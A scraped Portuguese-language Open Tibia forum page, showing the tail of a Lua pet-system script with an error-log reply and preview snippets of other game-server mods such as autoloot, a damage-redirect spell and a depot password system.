    for i = aps_storages.war.war, aps_storages.war.enemy do setPlayerStorageValue(cid, i, 0) setPlayerStorageValue(enemy, i, 0) end
end
function resetWar(cid)
    for i = aps_storages.war.war, aps_storages.war.enemy do setPlayerStorageValue(cid, i, 0) end
end
-- Pet-WAR
-- Pet feeling
function setPetStatus(cid, it) -- its hard to understand if you're not a scripter(it == 1 or 2 )
     -- 0 = normal, 1 = happy, 2 = sad, 3 = bad
    local stats_1 = {[0] = 1, [1] = 1, [2] = 0, [3] = 2} -- to happy
    local stats_2 = { [0] = 2, [1] = 0, [2] = 3, [3] = 3} -- to bad
    local ret = nil
    if(it == 1) then
        ret = stats_1[getPlayerStorageValue(cid, aps_storages.love)]
    elseif(it == 2) then
        ret = stats_2[getPlayerStorageValue(cid, aps_storages.love)]
    end
    return setPlayerStorageValue(cid, aps_storages.love, ret)
end
function getPetStatus(cid) -- 0 = normal, 1 = happy, 2 = sad, 3 = bad
    local stats = { [0] = aps_texts.smiles_normal, [1] = aps_texts.smiles_happy, [2] = aps_texts.smiles_sad, [3] = aps_texts.smiles_bad }
    return stats[getPlayerStorageValue(cid, aps_storages.love)]
end
function lalala(cid)
    local stats = {
        --[0] = -5,
        --[1] = -15,
        --[2] = +25,
        --[3] = +35,        
    }
    return stats[getPlayerStorageValue(cid, aps_storages.love)]
end
-- Pet feeling
-- haha now pets have guilds too? damn yeah!
--                 next update!
-- haha now pets have guilds too? damn yeah!
-- PeT-Party
function isInPetParty(cid)
    return getPlayerStorageValue(cid, aps_storages.party) == 1 and true or false
end
function doStartPetParty(cid)
    return setPlayerStorageValue(cid, aps_storages.party, 1)
end
function doLeavePetParty(cid)
    return setPlayerStorageValue(cid, aps_storages.party, 0)
end
-- PeT-Party

 

Agora e so baixar o resto dos arquivos e jogar dentro da pasta do seu Ot principal. E ser feliz... Não dou suporte para algum tipo de erro pois não sou Scripter kk apenas um Fuçado kkk.

 

Ah: Caso der erro quando você for logar no servidor e de erro nos arquivos do PET, Pode ter algo em conflito com ele, ou Você tera que mudar algo do seu login.lua, Qual quer coisa eu passo o meu que ta muito fuçado porem sem erro em nada kkkk. Por Enquanto...

 

CREDITOS: josejunior

 

 

Advanced Pet System By Races.rar

Meu novo projeto.

 

http://oi58.tinypic.com/2yplmrk.jpg

 

 

 

Link para o post
Compartilhar em outros sites
  • 3 months later...

[8:37:52.301] [Error - LuaInterface::loadFile] data/npc/scripts/PetSystem.lua:128: unexpected symbol near '?'
[8:37:52.301] [Warning - NpcEvents::NpcEvents] Cannot load script: data/npc/scripts/PetSystem.lua
[8:37:52.302] data/npc/scripts/PetSystem.lua:128: unexpected symbol near '?'
[8:37:52.304] [Error - LuaInterface::loadFile] data/npc/scripts/PetSystem.lua:128: unexpected symbol near '?'
[8:37:52.304] [Warning - NpcEvents::NpcEvents] Cannot load script: data/npc/scripts/PetSystem.lua
[8:37:52.305] data/npc/scripts/PetSystem.lua:128: unexpected symbol near '?'
[8:37:52.306] [Error - LuaInterface::loadFile] data/npc/scripts/PetSystem.lua:128: unexpected symbol near '?'
[8:37:52.306] [Warning - NpcEvents::NpcEvents] Cannot load script: data/npc/scripts/PetSystem.lua
[8:37:52.307] data/npc/scripts/PetSystem.lua:128: unexpected symbol near '?'
[8:37:52.308] [Error - LuaInterface::loadFile] data/npc/scripts/PetSystem.lua:128: unexpected symbol near '?'
[8:37:52.308] [Warning - NpcEvents::NpcEvents] Cannot load script: data/npc/scripts/PetSystem.lua
[8:37:52.309] data/npc/scripts/PetSystem.lua:128: unexpected symbol near '?'

 

Link para o post
Compartilhar em outros sites

Participe da conversa

Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.

Visitante
Responder

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emojis são permitidos.

×   Seu link foi automaticamente incorporado.   Mostrar como link

×   Seu conteúdo anterior foi restaurado.   Limpar o editor

×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.

  • Quem Está Navegando   0 membros estão online

    Nenhum usuário registrado visualizando esta página.


  • Conteúdo Similar

    • Por willian646
      Olá a todos, é a minha primeira vez aqui, e não sei se já possui algum tutorial disso ou se estou na área correta, mas vou mostrar aqui como fazer com que o chat no jogo suma quando não tiver nenhuma mensagem e quando tiver ,enviar, é bem simples.
       
      Primeiro vá na pasta do seu client>modules>game_console e abra o console.lua
       
      tendo feito isso procure por
      g_keyboard.bindKeyPress('Enter', sendCurrentMessage, consolePanel)  
      e troque por 
      g_keyboard.bindKeyPress('Enter', hideChat)  
      agora procure por essa função: 
      e troque por: 
      Pronto agora só testar.
    • Por Vodkart
      [ + ] Descrição: Autoloot refeito para VERSÃO OTX e adicionado algumas outras funções que estarei explicando ao decorrer do tópico.
       
      [ + ] Se você quer o Autoloot ara Versão TFS clica neste Link: AUTOLOOT TFS
       

       
       
      [ + ] Imagem do comando:
       

       
      [ + ] Features:
       
      [ - ] Você pode ativar ou desativar o autoloot a hora que achar necessário.
      [ - ] Também existe um comando para ativar ou desativar mensagens do loot que o autoloot coleta!
      [ - ] Você pode escolher a cor do texto em que irá aparecer a coleta do loot!
      [ - ] O autoloot informará para você se estiver com pouco slots na sua backpack, e o jogador poderá escolher se quer habilitar ou não está função no autloot.
      [ - ] Versão ilimitada de itens(não ficam armazenadas em storages.
      [ - ] O jogador poderá optar por depositar direto no banco os golds que forem dropados.
       
      [ + ] Instalação:
       
      Primeiramente CRIE uma PASTA VAZIA chamanda "autoloot" em DATA/LOGS, ficando assim:
       

       
      Depois instale o MODS normalmente na pasta MODS do seu servidor.
       

       
      new_perfect_autoloot_otx.xml
       
      Link: https://pastebin.com/raw/CW6jgerg
       
       
       [ + ] Configuração:
       
      Dentro do mods tem essa tabela
      info = { directory = "data/logs/autoloot", -- não mexer Warn_Bp_Slots = 5, -- quando tiver 5 ou menos slots na BP vai avisar o jogador Talkaction_delay = 5, -- em segundos // delay para remover e adicionar item BlockMonsters = {}, -- Lista de monstros que o autoloot nao vai funcionar BlockItemsList = {2123,2515}, -- Lista de itens que o autoloot nao coleta Money_ids = {2148, 2152, 2160}, -- id das moedas do ot Max_Slots = {free = 3, premium = 5}, -- quantidade de itens que podem ser adicionados no autoloot por free e premium Storages = {988801, 988802, 988803, 988804, 988805, 988806, 988807} -- não mexer }  
      Basta ler acima para esclarecer as dúvidas!!
       
      Estarei anexando o autoloot 2.0 versão atualizada para quem tiver preguiça de copiar e colar!!
       
       
       
      new_perfect_autoloot_otx.xml
    • Por Vodkart
      [ + ] Descrição: Autoloot refeito para VERSÃO TFS e adicionado algumas outras funções que estarei explicando ao decorrer do tópico.
       
      [ + ] Se você quer o Autoloot para VERSÃO OTX clica neste Link: AUTOLOOT OTX
       
       

       
       
      [ + ] Imagem do comando:
       

       
      [ + ] Features:
       
      [ - ] Você pode ativar ou desativar o autoloot a hora que achar necessário.
      [ - ] Também existe um comando para ativar ou desativar mensagens do loot que o autoloot coleta!
      [ - ] Você pode escolher a cor do texto em que irá aparecer a coleta do loot!
      [ - ] O autoloot informará para você se estiver com pouco slots na sua backpack, e o jogador poderá escolher se quer habilitar ou não está função no autoloot.
      [ - ] Versão ilimitada de itens(não ficam armazenadas em storages).
      [ - ] O jogador poderá optar por depositar direto no banco os golds que forem dropados.
       
      [ + ] Instalação:
       
      Primeiramente CRIE uma PASTA VAZIA chamanda "autoloot" em DATA/LOGS, ficando assim:
       

       
       
      Depois instale o MODS normalmente na pasta MODS do seu servidor.
       

       
       
      new_perfect_autoloot_tfs.xml
       
      Link: https://pastebin.com/raw/0xJR4nwr
       
       
       [ + ] Configuração:
       
      Dentro do mods tem essa tabela
      info = { distro = 1, -- 1 = TFS // 2 = talk modificada directory = "data/logs/autoloot", -- não mexer Warn_Bp_Slots = 5, -- quando tiver 5 ou menos slots na BP vai avisar o jogador Talkaction_delay = 5, -- em segundos // delay para remover e adicionar item BlockMonsters = {}, -- Lista de monstros que o autoloot nao vai funcionar BlockItemsList = {2123,2515}, -- Lista de itens que o autoloot nao coleta Money_ids = {2148, 2152, 2160}, -- id das moedas do ot Max_Slots = {free = 3, premium = 5}, -- quantidade de itens que podem ser adicionados no autoloot por free e premium Storages = {988801, 988802, 988803, 988804, 988805, 988806, 988807} -- não mexer }  
      Sobre o distro = 1
       
      Isso significa que ele usa versão padrão (1), pois existem 2 versões, caso aconteça esse error no seu console ao usar a talkaction do autoloot:
       
      [8/10/2020 19:19:58] [Error - TalkAction Interface]
      [8/10/2020 19:19:58] local words = "!autoloot"
      (...)
      [8/10/2020 19:19:59] return true
      [8/10/2020 19:19:59] Description: 
      [8/10/2020 19:19:59] (LuaInterface::luaGetItemIdByName) Item not found
       
      Você deverá colocar:
       
      distro = 2
       
      Pq? acontece que em alguns servidores não reconhecem o parâmetro "false" da função "getItemIdByName"
       
      OBS: Estarei anexando o autoloot já atualizado na versão 2.0 para quem tiver preguiça de copiar e colar!!
       
       
       
      new_perfect_autoloot_tfs.xml
    • Por xWhiteWolf
      Aeeeeeee carai, hoje vim trazer pra vocês meu mais novo sistema *-*. É uma fodenda spell que você seleciona alguém pra ser seu voodoo e a partir disso durante um tempo X ela vai receber todos os hit's que você deveria receber... INCRÍVEL, NÃO?
      Agora se nesse meio tempo ela deslogar ou entrar em pz você vai tomar o dano normal, mas se ainda tiver nesse tempo X e ela sair ela vai receber o dano instantaneamente (É BOM DEMAIS PRA SER VERDADE).

      Agora você deve estar imaginando, e se eu usar a magia pra transferir o dano pra um amigo e ele fizer a mesma coisa em mim, pra onde vai o dano?
      PRA LUGAR NENHUM!!!! Até porque eu já me previni contra esse bug fazendo com que não seja possível fazer alguém de voodoo se ele já tiver alguém de voodoo.
      Testado em versão 8.54 TFS Crying Damnson mas deve funcionar em todas as versões que tenham a função onStatsChange no creaturescripts.
      Bom, o script tá 100% funcional e livre de bugs (se vc achar algum eu te dou 3 REP).

      Agora vamos à mágica:
       
      Crie um arquivo em mods com extensão .xml e adiciona isso daqui nele
      <?xml version="1.0" encoding="UTF-8"?> <mod name="Voodoo System" version="1.0" author="Night Wolf" contact="none" enabled="yes"> ------------------------------------------------------------------------------------ <config name="feitisso"><![CDATA[ configuration = { storage = 24567,  tempo = 20, cooldown = 45, effect1 = 13, effect2 = 65 } storagecool = 24568 ]]></config> ---------------------------------------------------------------------------------- <event type="login" name="registerVoodoo" event="script"><![CDATA[ function onLogin(cid) domodlib('feitisso') if getPlayerStorageValue(cid, configuration.storage) > 0 then doPlayerSendTextMessage(cid, 22, "Your victim is not receiving your hits anymore.") doPlayerSetStorageValue(cid, configuration.storage, 0) end registerCreatureEvent(cid,"voodoo") return true end ]]></event> ------------------------------------------------------------------------------------ <instant name="Feitiço" words="voodoo" lvl="50" mana="10" prem="1" range="3" needtarget="1" blockwalls="1" exhaustion="1000" needlearn="0" event="script"> <vocation id="5"/> <vocation id="6"/> <vocation id="7"/> <vocation id="8"/> <![CDATA[ function onCastSpell(cid, var) domodlib('feitisso') if not (isPlayer(variantToNumber(var))) then doPlayerSendCancel(cid, "You can only use this spell in players.") return false end if getPlayerStorageValue(variantToNumber(var), configuration.storage) > 0 then doPlayerSendCancel(cid, "You can't make a voodoo of someone who already has a voodoo.") return false end if (os.time() - getPlayerStorageValue(cid, storagecool)) >= configuration.cooldown then if getPlayerStorageValue(cid, configuration.storage) <= 0 then timeleft = (os.time() + configuration.cooldown) doPlayerSetStorageValue(cid, storagecool, timeleft) local target = getPlayerGUID(variantToNumber(var)) doPlayerSetStorageValue(cid, configuration.storage, target) doSendMagicEffect(getPlayerPosition(cid), configuration.effect1) doSendMagicEffect(getThingPos(variantToNumber(var)), configuration.effect1) addEvent(function()   if isCreature(cid) then doSendMagicEffect(getPlayerPosition(cid), configuration.effect2) doPlayerSendTextMessage(cid, 22, "Your victim is not receiving your hits anymore.") doPlayerSetStorageValue(cid, configuration.storage, 0) end  end, 100+1000*configuration.tempo) elseif getPlayerStorageValue (cid, configuration.storage) > 0 then doPlayerSendCancel(cid, "You've already set a target.") end else doPlayerSendCancel(cid, "Your skill is in cooldown, you must wait "..(configuration.cooldown - (os.time() - getPlayerStorageValue(cid, storagecool))).." seconds.") end return true end ]]></instant> ------------------------------------------------------------------------------------ <event type="statschange" name="voodoo" event="script"><![CDATA[ function onStatsChange(cid, attacker, type, combat, value) domodlib('feitisso') if isPlayer(cid) and (not (attacker == cid)) and (type == STATSCHANGE_HEALTHLOSS or type == STATSCHANGE_MANALOSS) and getPlayerStorageValue(cid, configuration.storage) >= 1 then local name = getPlayerNameByGUID(getPlayerStorageValue(cid, configuration.storage)) local victim = getCreatureByName(name) if isCreature(victim) and not (getTilePzInfo(getPlayerPosition(victim)))  then dano = math.ceil(value) doSendMagicEffect(getPlayerPosition(cid), configuration.effect2) if attacker == victim then doTargetCombatHealth(cid, victim, combat, -dano, -dano, configuration.effect2) else doTargetCombatHealth(attacker, victim, combat, -dano, -dano, configuration.effect2) end return false end end return true end ]]></event> ------------------------------------------------------------------------------------ </mod> aqui você edita os storages da magia e do cooldown, além do tempo que ela dura, o tempo de cooldown (um uso e outro) e os efeitos que vão sair.
      -------------------------------------------------------------------------------------------------------------
       
      aqui você edita o nome da spell, as palavras pra ela sair, level, custo de mana, se é preciso ser premium pra usar, o range dela, e as vocações que podem usá-la.

      OBS: se vc quiser que essa spell seja ganha em uma quest (por se tratar de algo bastante apelativo), é só colocar needlearn = "1" e fazer uma quest pra ganhar a spell (tem no meu Darkness Pact Quest uma quest de ganhar Spell, é só ir lá no meu perfil e procurar o tópico).

      Essa spell não serve somente pra ATS, use a criatividade pra criar uma história e fazer ela se encaixar... foque nos elementos de RPG e tcharam, está feito!.

      Façam bom uso e espero que não saiam postando em outros lugares sem os devidos créditos. Abraços do lobinho pra vcs

      PS: a foto ficou meio bosta mas vou postar mesmo assim 

       
      Eu (sorc) ataquei a zuera e tomei o dano de volta e ainda saiu esse efeitinho bonito. 

      Espero que tenham gostado e usem essa spell como base pra fazer outras coisas maravilhosas pra esse fórum   
      E não esqueça de clicar em "gostei" caso tenha curtido a idéia.

      Ahhh, e antes que eu me esqueça dos agradecimentos:
      @ViitinG por me ajudar a testar
      @CreatServer por me dar a idéia
      @MaXwEllDeN por me orientar a trocar a table pelo storage possibilitando que o script fosse possível.
    • Por MaXwEllDeN
      #Introdução
      Bem, este é um sistema no qual você pode protejer o seu locker(depot) com senha, assim evitando hackers http://forums.otserv.com.br/images/smilies/biggrin.gif.
      #Instalação
      http://1.imgland.net/3CaRNl.png
      Primeiro faça o download do sistema e cole na sua pasta data.
      Após ter instalado os arquivos nas suas respectivas pastas adicione as tags:
      @Actions
        <action itemid="2589; 2590; 2591; 2592" event="script" value="DPPass.lua"/> <!-- DP Pass --> @Creaturescripts
        <event type="login" name="LockerPass" event="script" value="DPPass.lua"/> <!-- DPPass --> @Movements
        <movevent type="StepOut" actionid="96475" event="script" value="DPPass.lua"/> <!-- DPPass --> @Talkactions
        <talkaction words="!locker" script="DPPass.lua"/> <!-- DP Pass --> Talvez eu poste uma V. 2, podendo recuperar a senha via Recovery Key!
      Abraço.
×
×
  • Criar Novo...

Informação Importante

Confirmação de Termo